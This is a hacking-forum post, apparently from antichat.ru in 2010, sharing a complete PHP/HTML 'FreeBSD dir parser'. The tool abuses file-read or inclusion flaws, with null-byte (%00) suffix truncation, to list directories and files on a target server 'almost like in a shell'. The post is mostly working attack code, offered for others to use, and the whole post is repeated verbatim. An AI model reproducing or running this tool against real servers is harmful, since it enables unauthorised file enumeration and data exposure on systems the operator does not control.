Pashkela
10.02.2010, 18:22
https://forum.antichat.ru/threadnav55237-1-10.html
просто теперь можно лазить почти как в шелле (папки, подпапки, файлы - все в виде обычных ссылок - если доступны для чтения), поддержка ендов (%00 и т.д., запоминаются через кукисы - в общем все правится прямо в форме) - доделал для себя, может кому еще пригодится:
<html>
<head>
<title>FreeBSD dir parser</title>
<style>
body { background-color:#444;font: 9pt Lucida,Verdana;color:#fff;margin: 5; }
a { text-decoration:none; color:#df5; }
</style>
<script type="text/javascript">
var remembervalues_days=60
var dyncookiename=encodeURI(window.location.pathname)
var recallinput=function(){
var cookienamevalue=rememberinput.getCookie(dyncookien ame).split("##")
for (var i=0; i<cookienamevalue.length; i++){
var cookiename=cookienamevalue[i].split("#")[0]
var cookievalue=cookienamevalue[i].split("#")[1]
if (document.getElementById(cookiename)!=null && document.getElementById(cookiename).type=="text")
document.getElementById(cookiename).value=decodeUR I(cookievalue)
}
}
var rememberinput=function(){
var rememberit=""
for (var i=0; i<arguments.length; i++){
if (document.getElementById(arguments[i]).type=="text" && document.getElementById(arguments[i]).value!="")
rememberit+=arguments[i]+"#"+encodeURI(document.getElementById(arguments[i]).value)+"##"
}
rememberinput.setCookie(dyncookiename, rememberit, remembervalues_days)
}
rememberinput.getCookie=function(Name){
var re=new RegExp(Name+"=[^;]+", "i");
if (document.cookie.match(re))
return document.cookie.match(re)[0].split("=")[1] //return its value
return ""
}
rememberinput.setCookie=function(name, value, days){
var expireDate = new Date()
var expstring=expireDate.setDate(expireDate.getDate()+ parseInt(days))
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+";";
}
if (window.addEventListener)
window.addEventListener("load", recallinput, false)
else if (window.attachEvent)
window.attachEvent("onload", recallinput)
else if (document.getElementById)
window.onload=recallinput
</script>
</head>
<body>
<script language="javascript">
function locatehref(arraynum){
var arraynum;
var whathref;
whathref = document.links[arraynum].href;
document.vvod.pole.value = whathref;
document.vvod.submit();
}
</script>
<form method="post" name = "vvod" onSubmit="rememberinput('end')">
Path: <input type="text" id = "pole" name="pole" SIZE=100 value="<?=htmlspecialchars($_POST['pole']);?>"/> END: <input type="text" id = "end" name="end" SIZE=10 value="" /> <input type="submit"/></form>
<pre>
<?php
error_reporting( 0 );
set_time_limit( 0 );
if ( isset( $_POST['pole'] ) )
$start = $_POST['pole'];
$end = $_POST['end'];
$str = @file_get_contents( $_POST['pole'] . $end);
if ( !empty( $str ) ) {
$content = array( 'dirs' => array(), 'files' => array(), 'links' => array() );
function getItem( $type, &$i ) {
$item_len = ord( $GLOBALS['str'][$i+1] );
if( $item_len && ( ord($GLOBALS['str'][$i+2]) != 0 ) ) {
$item = substr( $GLOBALS['str'], $i+2, $item_len );
if( strpos($item, "\0") !== false )
return;
$GLOBALS['content'][$type][] = substr( $GLOBALS['str'], $i+2, $item_len );
} else
$item_len = 0;
$i += 2 + $item_len;
}
$len = strlen( $str );
for( $i = 0; $i < $len; $i++ ) {
if( ord( $str[$i] ) != 0 )
continue;
$i++;
$char = ord( $str[$i] );
if( $char == 0x04 )
getItem('dirs', $i);
elseif( $char == 0x08 )
getItem('files', $i);
elseif( $char == 0x0a )
getItem('links', $i);
}
sort($content['dirs']);
sort($content['files']);
sort($content['links']);
$a = 0;
foreach( $content['dirs'] as $item ) {
$temp = $_POST['pole'] . $item;
if ($temp == $start){
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
} else {
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "/" . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
}
$a++;
}
foreach( $content['files'] as $item ) {
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
$a++;
}
foreach( $content['links'] as $item ) {
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
$a++;
}
}
?>
</pre>
<a href="https://forum.antichat.ru/thread55237.html">Original https://forum.antichat.ru/thread55237.html</a>
</body>
</html>
thx 2 Scipio & oRb
Javascript = on, cookies = on
просто теперь можно лазить почти как в шелле (папки, подпапки, файлы - все в виде обычных ссылок - если доступны для чтения), поддержка ендов (%00 и т.д., запоминаются через кукисы - в общем все правится прямо в форме) - доделал для себя, может кому еще пригодится:
<html>
<head>
<title>FreeBSD dir parser</title>
<style>
body { background-color:#444;font: 9pt Lucida,Verdana;color:#fff;margin: 5; }
a { text-decoration:none; color:#df5; }
</style>
<script type="text/javascript">
var remembervalues_days=60
var dyncookiename=encodeURI(window.location.pathname)
var recallinput=function(){
var cookienamevalue=rememberinput.getCookie(dyncookien ame).split("##")
for (var i=0; i<cookienamevalue.length; i++){
var cookiename=cookienamevalue[i].split("#")[0]
var cookievalue=cookienamevalue[i].split("#")[1]
if (document.getElementById(cookiename)!=null && document.getElementById(cookiename).type=="text")
document.getElementById(cookiename).value=decodeUR I(cookievalue)
}
}
var rememberinput=function(){
var rememberit=""
for (var i=0; i<arguments.length; i++){
if (document.getElementById(arguments[i]).type=="text" && document.getElementById(arguments[i]).value!="")
rememberit+=arguments[i]+"#"+encodeURI(document.getElementById(arguments[i]).value)+"##"
}
rememberinput.setCookie(dyncookiename, rememberit, remembervalues_days)
}
rememberinput.getCookie=function(Name){
var re=new RegExp(Name+"=[^;]+", "i");
if (document.cookie.match(re))
return document.cookie.match(re)[0].split("=")[1] //return its value
return ""
}
rememberinput.setCookie=function(name, value, days){
var expireDate = new Date()
var expstring=expireDate.setDate(expireDate.getDate()+ parseInt(days))
document.cookie = name+"="+value+"; expires="+expireDate.toGMTString()+";";
}
if (window.addEventListener)
window.addEventListener("load", recallinput, false)
else if (window.attachEvent)
window.attachEvent("onload", recallinput)
else if (document.getElementById)
window.onload=recallinput
</script>
</head>
<body>
<script language="javascript">
function locatehref(arraynum){
var arraynum;
var whathref;
whathref = document.links[arraynum].href;
document.vvod.pole.value = whathref;
document.vvod.submit();
}
</script>
<form method="post" name = "vvod" onSubmit="rememberinput('end')">
Path: <input type="text" id = "pole" name="pole" SIZE=100 value="<?=htmlspecialchars($_POST['pole']);?>"/> END: <input type="text" id = "end" name="end" SIZE=10 value="" /> <input type="submit"/></form>
<pre>
<?php
error_reporting( 0 );
set_time_limit( 0 );
if ( isset( $_POST['pole'] ) )
$start = $_POST['pole'];
$end = $_POST['end'];
$str = @file_get_contents( $_POST['pole'] . $end);
if ( !empty( $str ) ) {
$content = array( 'dirs' => array(), 'files' => array(), 'links' => array() );
function getItem( $type, &$i ) {
$item_len = ord( $GLOBALS['str'][$i+1] );
if( $item_len && ( ord($GLOBALS['str'][$i+2]) != 0 ) ) {
$item = substr( $GLOBALS['str'], $i+2, $item_len );
if( strpos($item, "\0") !== false )
return;
$GLOBALS['content'][$type][] = substr( $GLOBALS['str'], $i+2, $item_len );
} else
$item_len = 0;
$i += 2 + $item_len;
}
$len = strlen( $str );
for( $i = 0; $i < $len; $i++ ) {
if( ord( $str[$i] ) != 0 )
continue;
$i++;
$char = ord( $str[$i] );
if( $char == 0x04 )
getItem('dirs', $i);
elseif( $char == 0x08 )
getItem('files', $i);
elseif( $char == 0x0a )
getItem('links', $i);
}
sort($content['dirs']);
sort($content['files']);
sort($content['links']);
$a = 0;
foreach( $content['dirs'] as $item ) {
$temp = $_POST['pole'] . $item;
if ($temp == $start){
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
} else {
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "/" . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
}
$a++;
}
foreach( $content['files'] as $item ) {
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
$a++;
}
foreach( $content['links'] as $item ) {
echo "<i>dir</i>\t [ <a href='".$_POST['pole'] . $item . "' onclick='javascript:locatehref(". $a .");return false;'>".$item."</a> ]\n";
$a++;
}
}
?>
</pre>
<a href="https://forum.antichat.ru/thread55237.html">Original https://forum.antichat.ru/thread55237.html</a>
</body>
</html>
thx 2 Scipio & oRb
Javascript = on, cookies = on